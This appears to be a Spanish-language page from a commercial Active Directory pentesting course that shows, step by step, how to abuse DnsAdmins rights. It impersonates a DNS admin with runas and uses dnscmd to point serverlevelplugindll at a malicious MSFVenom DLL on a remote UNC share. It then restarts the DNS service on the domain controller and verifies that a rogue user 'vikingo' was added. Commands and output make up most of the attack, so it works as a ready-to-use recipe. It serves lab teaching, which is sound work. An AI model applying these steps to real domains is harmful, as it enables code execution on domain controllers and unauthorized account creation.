> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpad/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/dnsadmins/cargando-una-dll-maliciosa-con-dnscmd.md).

# Cargando una dll maliciosa con dnscmd

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

## <mark style="color:red;">Impersonando al usuario dnsadmin.user</mark>

Primero ejecutamos el siguiente comando desde el equipo First-DC, el cual tiene instalado las caracteristicas de DNS-Server.

```powershell
PS C:\> runas /netonly /user:spartancybersec.corp\dnsadmin.user "powershell.exe"
Enter the password for spartancybersec.corp\dnsadmin.user:
Attempting to start powershell.exe as user "spartancybersec.corp\dnsadmin.user" ...
```

Despues de lo anterior, se solicitara la contraseña del usuario y nos aparecera una ventana que estara corriendo como el usuario dnsadmin.user:

<figure><img src="/files/PJ8WCFdnVkQpPbNyyIZX" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">¿Que es dnscmd?</mark>

La herramienta `dnscmd` es una utilidad de Windows diseñada para permitir a los usuarios con privilegios de DnsAdmins gestionar el servidor DNS. Esta utilidad puede ser instalada añadiendo las Herramientas del Servidor DNS a tu sistema, tal como se muestra en la captura de pantalla adjunta. Esta herramienta ofrece una interfaz de línea de comandos versátil y eficiente para administrar y configurar servidores DNS, facilitando tareas como la creación y gestión de zonas DNS, la actualización de registros y la modificación de configuraciones del servidor. Su uso es fundamental para el mantenimiento eficiente y seguro de la infraestructura de DNS en entornos administrados por Windows.

<figure><img src="/files/xQuSM1zbclPpYDlQ22mo" alt=""><figcaption></figcaption></figure>

Para realizar el ataque, vamos a utilizar la DLL maliciosa generado con MSFVenom que fue explicada en [Generando una DLL maliciosa](/cpad/vulnerabilidades-y-ataques-en-ad/dnsadmins/generando-una-dll-maliciosa.md)

Y el comando seria el siguiente y debe ser ejecutado desde la shell del usuario dnsadmin.user:

```powershell
PS C:\> hostname
First-DC

PS C:\> dnscmd First-DC /config /serverlevelplugindll \\10.0.1.50\shared\adduser2.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```

La DLL generado con MSFVenom se encuentra en el servidor USER-SERVER.

Ahora, la próxima vez que se inicie el servicio DNS, nuestra DLL maliciosa debería ser cargada en el proceso dns.exe y se debería ejecutar la logica incluida en la DLL. Por lo tanto, procedamos a reiniciar el servicio DNS con los siguientes comandos:

```bash
PS C:\Windows\system32> sc.exe \\First-DC stop dns
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        
PS C:\Windows\system32> sc.exe \\First-DC start dns
SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 1968
        FLAGS              :
```

Despues de lo anterior, podemos revisar si fue exitoso el ataque:

```bash
PS C:\Windows\system32> net user vikingo
User name                    vikingo
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            11/13/2023 11:46:53 PM
Password expires             12/25/2023 11:46:53 PM
Password changeable          11/14/2023 11:46:53 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.
```

Este ataque esta relacionado con la siguiente ruta:

```
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters
```

<figure><img src="/files/GxUMkuMYpayxioLOcD4B" alt=""><figcaption></figcaption></figure>
